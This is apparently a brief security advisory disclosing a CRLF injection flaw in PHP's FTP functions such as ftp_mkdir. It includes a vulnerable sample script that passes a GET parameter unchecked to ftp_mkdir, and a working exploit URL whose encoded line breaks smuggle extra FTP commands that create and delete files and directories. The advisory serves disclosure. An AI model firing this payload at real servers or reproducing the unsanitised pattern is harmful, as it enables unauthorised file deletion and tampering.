CRLF injection in PHP ftp function

[fangxiaodun@discuz.com]

We found that there was one crlf injection in php ftp ftuntion.As same as 
http,you can inject a '\r\n other command' in the paramer of a ftp function 
like ftp_mkdir,and then php would send the \r\n to your connected ftp 
server.The server considerd there is a new command,and the other command would 
be executed.
For eg:

<?php
$ftp_server='http://www.loveshell.net';
$ftp_user_name='loveshell';
$ftp_user_pass='loveshell';
$command = $_GET['dir'];

$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if($command) ftp_mkdir($conn_id, $command);
.......

Exp: http://www.loveshell.net/test.php?dir=loveshell%0D%0AMKD jnc%0D%0ADELE 
jnc.txt%0D%0Armd test

The dir loveshell and jnc are created,the jnc.txt is deleted,and the dir test 
is deleted.

tested on php 5.1.6,other function is vul also.
 
loveshell[at]Bug.Center.Team